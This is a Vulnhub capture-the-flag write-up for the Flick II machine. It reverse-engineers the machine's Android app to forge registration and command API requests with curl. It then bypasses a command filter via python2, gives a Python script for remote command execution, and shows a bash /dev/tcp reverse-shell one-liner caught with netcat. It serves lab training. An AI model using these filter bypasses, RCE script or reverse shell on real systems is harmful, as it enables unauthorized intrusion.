Flick II – Vulnhub Writeup (0Click RCE Exploit) – Part One

Hi Everyone, It’s been a while since I’ve posted something, due to lots of stuff to deal with, lack of motivation and etc. but today we’ll be doing Flick II from OSWE Like Machines List.

You can find OSWE Like Machines list here and machine is here on vulnhub.

keep in mind, this machine comes with an APK file

So, as usual we start from finding the IP


                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ sudo netdiscover

 Currently scanning: 172.16.123.0/16   |   Screen View: Unique Hosts          
                                                                              
 6 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 360              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.80.1    00:50:56:c0:00:08      1      60  VMware, Inc.               
 192.168.80.2    00:50:56:f9:e9:d7      3     180  VMware, Inc.               
 192.168.80.132  00:0c:29:ce:f9:b6      1      60  VMware, Inc.               
 192.168.80.254  00:50:56:f7:42:ea      1      60  VMware, Inc.               

I believe its 192.168.80.132 which we need, so I run nmap on it.

Nmap told us that only 443 (HTTPS) port was open, and as a response we got JSON


HTTP/1.1 200 OK
Server: nginx/1.6.3
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.10
Cache-Control: no-cache
Date: Thu, 09 Nov 2023 15:27:41 GMT

["Server Checker"]

Well, there’s a two ways we can go with,

  1. install APK in emulator, connect it to a burp and see what it does and go with Easy way.
  2. disassemble APK, review code and go with HARD way.

 

and of course, we go with HARD way 🙂

so we fire up jadx-gui

which if you don’t know is used to disassemble java files and it also works great with APK files.

description of machine on vulnhub says it’s a “Server Checker App”

putting APK in jadx-gui and we see multiple classes, after reading a code for a while,
it seems like to “check” your server, you have to register your device first on the server,
then you’ll be able to use different types of functionality, like connect via SSH, execute commands or ping your server

 

most interesting functionalities are in those classes

  1. RegisterActivity
  2. DoRegisterActivity
  3. CommandActivity

I’ll go through each class and explain the code in there, we’ll start with Register Activity

 

Overview of RegisterActivity Class

we see that RegisterActivity class have a method call onCreate, which seems to be checking if device is registered
I’ve highlighted and added comments on important parts of the method (you can read only highlighted parts if you want to).


    @Override // android.support.v7.app.ActionBarActivity, android.support.v4.app.FragmentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_register);
        TelephonyManager tm = (TelephonyManager) getBaseContext().getSystemService("phone");
        String tmDevice = "" + tm.getDeviceId(); // Gets Unique Device id
        String tmSerial = "" + tm.getSimSerialNumber(); // Gets Sims serial number
        String androidId = "" + Settings.Secure.getString(getContentResolver(), "android_id"); // Gets Unique android ID
        UUID deviceUuid = new UUID(androidId.hashCode(), (tmDevice.hashCode() << 32) | tmSerial.hashCode()); // generates UUID from collected info
        String deviceId = deviceUuid.toString();
        SharedPreferences sharedpreferences = getSharedPreferences(getString(R.string.preference_file), 0);
        String api_server = sharedpreferences.getString("api_server", null);
        String auth_token = sharedpreferences.getString("api_auth_token", "none");
        if (auth_token.equals("none")) {
            Toast.makeText(this, "Registering device with API", 0).show();
            Intent intent = new Intent(getApplicationContext(), DoRegisterActivity.class);
            startActivity(intent);
        }
        new CallAPI().execute("https://" + api_server + "/register/status/" + deviceId);
        // appends generated UUID to the URL and sends Request to check status 

    }

now since we know how status endpoints works we can generate test UUID and send it to status endpoint.


┌──(z3r0㉿kali)-[~]
└─$ uuid
b4b960f8-7ef6-11ee-9ecc-000c296883a6
                                                                                                
┌──(z3r0㉿kali)-[~]
└─$ curl https://192.168.80.132/register/status/b4b960f8-7ef6-11ee-9ecc-000c296883a6 --insecure
{"registered":"no"}                                                                                                

now, we can go to DoRegisterActivity class, which is responsible to register device on server.

 

Overview of DoRegisterActivity Class


    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_do_register);
        HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() { // from class: com.flick.flickcheck.DoRegisterActivity.1
            @Override // javax.net.ssl.HostnameVerifier
            public boolean verify(String s, SSLSession sslSession) {
                return true;
            }
        });
        TelephonyManager tm = (TelephonyManager) getBaseContext().getSystemService("phone");
        String tmDevice = "" + tm.getDeviceId(); // Gets Unique Device id
        String tmSerial = "" + tm.getSimSerialNumber(); // Gets Sims serial number
        String androidId = "" + Settings.Secure.getString(getContentResolver(), "android_id"); // Gets Unique android ID
        UUID deviceUuid = new UUID(androidId.hashCode(), (tmDevice.hashCode() << 32) | tmSerial.hashCode()); // generates UUID from collected info
        String deviceId = deviceUuid.toString();
        SharedPreferences sharedpreferences = getSharedPreferences(getString(R.string.preference_file), 0);
        String api_server = sharedpreferences.getString("api_server", null);
        new CallAPI().execute("https://" + api_server + "/register/new", deviceId); // Calls CallAPI() class with arguments of url and device id (UUID) 
        // CallAPI class is used to send requests asynchronously 
    }
[SNIP]

 private class CallAPI extends AsyncTask<String, String, String> {
        private CallAPI() {
        }

        /* JADX INFO: Access modifiers changed from: protected */
        @Override // android.os.AsyncTask
        public String doInBackground(String... params) {
            String urlString = params[0]; // Receives first parameter which was sent from onCreate method which was request url
            String deviceId = params[1]; // Receives second parameter which was UUID 

            try {
                URL url = new URL(urlString);
                HttpsURLConnection urlConnection = (HttpsURLConnection) url.openConnection();
                TrustManager[] tm = {new PubKeyManager()};
                urlConnection.setHostnameVerifier(new HostnameVerifier() { // from class: com.flick.flickcheck.DoRegisterActivity.CallAPI.1
                    @Override // javax.net.ssl.HostnameVerifier
                    public boolean verify(String hostname, SSLSession session) {
                        return true;
                    }
                });
                SSLContext sc = SSLContext.getInstance("TLS");
                sc.init(null, tm, null);
                urlConnection.setSSLSocketFactory(sc.getSocketFactory());
                urlConnection.setConnectTimeout(5000);
                urlConnection.setRequestMethod("POST");
                urlConnection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
                JSONObject uuid = new JSONObject();
                uuid.put("uuid", deviceId);
                // This part of the code defined request parameters, method, headers and body as a JSON
                // request body now should look like this {"uuid": "DEVICE-UUID-HERE"}
                DataOutputStream outputStream = new DataOutputStream(urlConnection.getOutputStream());
                outputStream.write(uuid.toString().getBytes());
                outputStream.flush();
                outputStream.close();
                BufferedInputStream in = new BufferedInputStream(urlConnection.getInputStream());
                byte[] response = new byte[1024];
                String response_contents = "";
                while (true) {
                    int bytesRead = in.read(response);
                    if (bytesRead != -1) {
                        response_contents = new String(response, 0, bytesRead);
                    } else {
                        try {
                            break;
                        } catch (JSONException e) {
                            e.printStackTrace();
                            return "";
                        }
                    }
                }
                JSONObject responseJson = new JSONObject(response_contents);
                if (!responseJson.getString("registered").equals("ok")) {
                    return "";
                }
                String token = responseJson.getString("token");
                return token;
            // once the request is sent, this part of a code checks if in response JSON if registered was equal to "OK", then read "token" from JSON
            } catch (Exception e2) {
                e2.printStackTrace();
                return "";
            }
        }

        /* JADX INFO: Access modifiers changed from: protected */
        @Override // android.os.AsyncTask
        public void onPostExecute(String token) {
            SharedPreferences sharedpreferences = DoRegisterActivity.this.getSharedPreferences(DoRegisterActivity.this.getString(R.string.preference_file), 0);
            SharedPreferences.Editor editor = sharedpreferences.edit();
            editor.putString("api_auth_token", token);
            editor.commit();
            // Store Token from response into SharedPreferences 
            Toast.makeText(DoRegisterActivity.this, "Registered with API", 0).show();
            Intent intent = new Intent(DoRegisterActivity.this.getApplicationContext(), CommandActivity.class);
            DoRegisterActivity.this.startActivity(intent);
        }
    }

So to sum up this class, it basically generates UUID from devices unique identifiers
then sends it to /register/new endpoint via JSON in the body carrying this uuid
and if response says registration was successful, then it reads “token” from response
and stores it.

now we can craft same register request via curl and see what will happen.


┌──(z3r0㉿kali)-[~]
└─$ uuid
2d4c6c2a-7ef9-11ee-a950-000c296883a6
                                                                                                
┌──(z3r0㉿kali)-[~]
└─$ curl -X POST https://192.168.80.132/register/new -H "Content-Type: application/json; charset=UTF-8" -d '{"uuid": "2d4c6c2a-7ef9-11ee-a950-000c296883a6"}' --insecure
{"registered":"ok","message":"The requested UUID is now registered.","token":"dGz0fvrNVUedKYl0Y96D6avgClP74Rqn"}                                                                                                

and as you can see, we’ve successfully registered and we’ve obtained our token.

and now, most important

Overview of CommandActivity Class

and two important methods here are doCmd and doInBackground in child class CallAP

let’s review it


    public void doCmd(View view) {
        Toast.makeText(this, "Running command: " + view.getTag().toString(), 0).show();
        String base64_command = Base64.encodeToString(view.getTag().toString().getBytes(), 0); // Reading text from textfield and base64 encoding it
        TelephonyManager tm = (TelephonyManager) getBaseContext().getSystemService("phone");
        String tmDevice = "" + tm.getDeviceId();
        String tmSerial = "" + tm.getSimSerialNumber();
        String androidId = "" + Settings.Secure.getString(getContentResolver(), "android_id");
        UUID deviceUuid = new UUID(androidId.hashCode(), (tmDevice.hashCode() << 32) | tmSerial.hashCode());
        String deviceId = deviceUuid.toString();
        // This part of the code is already well known, which generates UUID for device
        SharedPreferences sharedpreferences = getSharedPreferences(getString(R.string.preference_file), 0);
        String api_server = sharedpreferences.getString("api_server", null);
        String api_auth_token = sharedpreferences.getString("api_auth_token", null); // This part of the code, reads token which we got from /register/new endpoint
        new CallAPI().execute("https://" + api_server + "/do/cmd/" + base64_command, deviceId, api_auth_token); // send everything (URL, base64 command, device UUID and token) to child class CallAPI 
    }

inside of a same class there’s child class called CallAPI which we see everywhere and is responsible for sending HTTP requests

let’s see what it does with stuff sent from doCmd.


private class CallAPI extends AsyncTask {
        private CallAPI() {
        }

        /* JADX INFO: Access modifiers changed from: protected */
        @Override // android.os.AsyncTask
        public String doInBackground(String... params) {
            String urlString = params[0];
            String deviceId = params[1];
            String api_auth_token = params[2];
            String cmd_output = "";
            // Read parameters sent from doCmd and store them in variable, also define cmd_output
            try {
                URL url = new URL(urlString);
                [SNIPPED - Ignoring SSL Verification Part]
                SSLContext sc = SSLContext.getInstance("TLS");
                sc.init(null, tm, null);
                urlConnection.setSSLSocketFactory(sc.getSocketFactory());
                urlConnection.setConnectTimeout(5000);
                urlConnection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
                urlConnection.setRequestProperty("X-UUID", deviceId);
                urlConnection.setRequestProperty("X-Token", api_auth_token);
                // set HTTP Headers with values of device UUID and auth token
                BufferedInputStream in = new BufferedInputStream(urlConnection.getInputStream());
                byte[] response = new byte[1024];
                String response_contents = "";
                while (true) {
                [SNIPPED - Basically printing the response]
    }

now, since we know what to do with the token we have, we can manually craft that request in CURL and see if our command will get executed.


└─$ echo "whoami" | base64
d2hvYW1pCg==
                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ curl "https://192.168.80.132/do/cmd/d2hvYW1pCg==" -H "X-UUID: 2d4c6c2a-7ef9-11ee-a950-000c296883a6" -H "X-Token: dGz0fvrNVUedKYl0Y96D6avgClP74Rqn" -H "Content-type: application/json; charset=UTF-8" --insecure
{"status":"ok","command":"whoami\n","output":"nginx\n"}                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ echo "ls" | base64    
bHMK
                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ curl "https://192.168.80.132/do/cmd/bHMK" -H "X-UUID: 2d4c6c2a-7ef9-11ee-a950-000c296883a6" -H "X-Token: dGz0fvrNVUedKYl0Y96D6avgClP74Rqn" -H "Content-type: application/json; charset=UTF-8" --insecure
{"status":"ok","command":"ls\n","output":"index.php\n"}                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ echo "ls -al" | base64
bHMgLWFsCg==
                                                                                                                                                               
┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ curl "https://192.168.80.132/do/cmd/bHMgLWFsCg==" -H "X-UUID: 2d4c6c2a-7ef9-11ee-a950-000c296883a6" -H "X-Token: dGz0fvrNVUedKYl0Y96D6avgClP74Rqn" -H "Content-type: application/json; charset=UTF-8" --insecure
{"status":"error","output":"Command 'ls -al\n' contains a banned command."}  

It seems like it worked! but there is some kind of filter which blocks some commands, to make it more interactive and easier to execute commands, I’ve written a py code which we can use.


  GNU nano 7.2                                                                 cmd.py *                                                                        
import requests
import json
import base64
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def execute(cmd):
  base64_cmd = base64.b64encode(cmd.encode("UTF-8")).decode("UTF-8")
  url = "https://192.168.80.132/do/cmd/"+base64_cmd

  payload = {}
  headers = {
    'X-UUID': '2d4c6c2a-7ef9-11ee-a950-000c296883a6',
    'X-Token': 'dGz0fvrNVUedKYl0Y96D6avgClP74Rqn',
    'Content-Type': 'application/json'
  }

  response = requests.request("GET", url, headers=headers, data=payload, verify=False)

  print(json.loads(response.text)["output"])

while True:
  cmd = input("")
  execute(cmd)

after using a script, it seems like ls and whoami is banned also, but… in my base64’s there was a \n at the end of commands which bypassed filter,
but if you pass any argument like ls /var then filter works, let’s see how we can read files and list directories with those restrictions and maybe check how filter works
to see if we can bypass it somehow.


┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ python3 cmd.py

ls 
Command 'ls ' contains a banned command.

dir
index.php

dir /usr/bin 
[                      hostnamectl               rmail
a2p                    htdbm                     rmail.postfix
ab                     htdigest                  rmdir
addr2line              htpasswd                  rpcgen
[SNIP]
gcc                    perl                      uniq
gcc-ar                 perl5.16.3                unlink
gcc-nm                 perlbug                   unshare
geoiplookup            phar                      urlgrabber
geoiplookup6           phar.phar                 users
geoipupdate            php                       usleep
geqn                   php-cgi                   usx2yloader
[SNIP]
grub2-script-check     python                    yum
grub2-syslinux2cfg     python2                   zcat
gsettings              python2.7                 zcmp
[SNIP]

/usr/bin/python2 -c "import os; os.system('ls -al')"
total 12                                                                                                                                                        
drwxr-xr-x.  2 nginx nginx   38 Jul 23  2015 .
drwxr-xr-x. 10 nginx nginx 4096 Jun 22  2015 ..
-rw-r--r--.  1 nginx nginx  356 Jun 22  2015 .htaccess
-rw-r--r--.  1 nginx nginx  897 Jun 22  2015 index.php

it seems like, dir can be used to bypass ls filter, and in /usr/bin we've found multiple interesting binaries, like perl, python and php
and using python, I've bypassed command restriction, we can use it to get reverse shell without any filters

Getting Reverse Shell

to make getting reverse shell easier, we could use bash reverse shell which we can call trough python
like this


┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ python3 cmd.py
/usr/bin/python2 -c 'import os;os.system("/bin/bash -i >& /dev/tcp/192.168.80.128/9001 0>&1")'

and we got reverse shell in our listener


┌──(z3r0㉿kali)-[~/Desktop/Vulnhub/Flick II]
└─$ nc -lvnp 9001                    
listening on [any] 9001 ...
connect to [192.168.80.128] from (UNKNOWN) [192.168.80.132] 43142
bash: no job control in this shell
bash-4.2$ id
id
uid=998(nginx) gid=997(nginx) groups=997(nginx)

Since I've had this post partially ready and because of busy schedule I wasn't able to finish it (and also it's been a while since I posted anything, I'm publishing this as separated part, And as soon as I'll have some free time, I'll follow up with 2nd part where we get root and finish 0Click RCE Explot)

Happy Hacking.